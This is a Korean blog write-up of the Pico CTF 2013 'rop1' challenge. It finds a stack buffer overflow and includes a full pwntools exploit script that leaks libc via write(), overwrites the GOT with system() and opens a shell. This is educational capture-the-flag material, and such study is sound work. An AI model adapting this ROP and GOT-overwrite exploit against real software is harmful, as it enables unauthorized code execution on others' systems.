ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Pico CTF 2013 ROP1 write-up
    CTF Write-Up 2018. 3. 8. 23:58

    좀 더 쉬운 ROP 문제를 풀어보기 위해 Pico CTF 2013 rop1이라는 문제를 풀어보았다.



    [바이너리]

    rop1-fa6168f4d8eba0eb


    먼저 메모리 보호 기법을 확인해보면



    NX bit 가 걸려있고, Partial RELRO가 걸려있다.


    NX bit로 인해서 Stack에 실행 권한이 없기 때문에 내가 아는 쉘코드를 이용하는 방법은 할 수 없다.

    Partial RELRO는 got 섹션을 제외한 섹션에 읽기 권한을 걸어주는 기법이지만

    got는 제외되기 때문에 GOT Overwirte를 할 수 있다.



    정적분석을 위해 IDA로 열어본다.



    먼저 main() 을 확인해보면 간단하게 두 함수를 호출하고, vulnerable_function() 이 눈에 띈다.


    어떤 함수인지 확인하기 위해 보면



    bof 취약점이 존재한다는것을 확인할 수 있다.


    char buf는 할당된 공간이 136 byte 인데 read() 로 256 byte 받게 되어있기 때문에 bof가 발생한다.


    그리고 함수 목록을 보다가



    not_called 라는 함수가 존재하는것을 확인할 수 있었다.

    ROP 문제라고 기대를 했지만 아닌듯 하다.



    쉘을 띄우는 함수이다.


    A를 SFP 까지 (140byte) 덮고,

    not_called 함수의 주소를 ret 주소에 덮어주면 될듯하다.



    gdb 로 열어 not_called의 주소를 알아내고,


    익스하면



    쉘을 띄울 수 있다.




    위 공격방법보다는 ROP를 공부하고 있으니 ROP로 풀이해보았다.


    read() 와 write()를 이용할것이므로

    read() 와 write()는 gdb 와 IDA를 이용하여 plt, got 주소를 구해줬고,

    bss와 pppr gadget은 objdump를 이용하여 각각 구해줬다.


    또 ASLR을 우회하기 위해 system()를 read()와의 offset을 이용하여 구해줬다.


    [payload]


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    from pwn import *
     
    = process('./rop1-fa6168f4d8eba0eb')
     
    # objdump -h [binary] | grep bss
    bss = 0x0804a024
     
    # objdump -d [binary] | grep -B4 'ret'
    pppr = 0x804859d
     
    # read() - system()
    system_offset = 0x99a10
     
    # gdb & IDA
    write_plt = 0x80483d0
    write_got = 0x804a014
    read_plt = 0x8048380
    read_got = 0x804a000
     
    # input A into SFP
    payload = "A" * 140
     
    # read() address leak
    payload += p32(write_plt)
    payload += p32(pppr)
    payload += p32(1)
    payload += p32(read_got)
    payload += p32(4)
     
    # to send bss /bin/sh\00
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(bss)
    payload += p32(8)
     
    # GOT Overwrite : write_got -> system() address
    payload += p32(read_plt)
    payload += p32(pppr)
    payload += p32(0)
    payload += p32(write_got)
    payload += p32(4)
     
    # call system(bss) -> system(/bin/sh\00)
    payload += p32(write_plt)
    payload += "AAAA"
    payload += p32(bss)
     
    p.send(payload)
     
    # receive read_addr big endian
    read_addr = u32(p.recv()[-4:])
     
    system_addr = read_addr - system_offset
     
    p.send('/bin/sh\00')
     
    # send system() address little endian
    p.send(p32(system_addr))
     
    p.interactive()

    cs


    [shell]



    반응형
Designed by Tistory.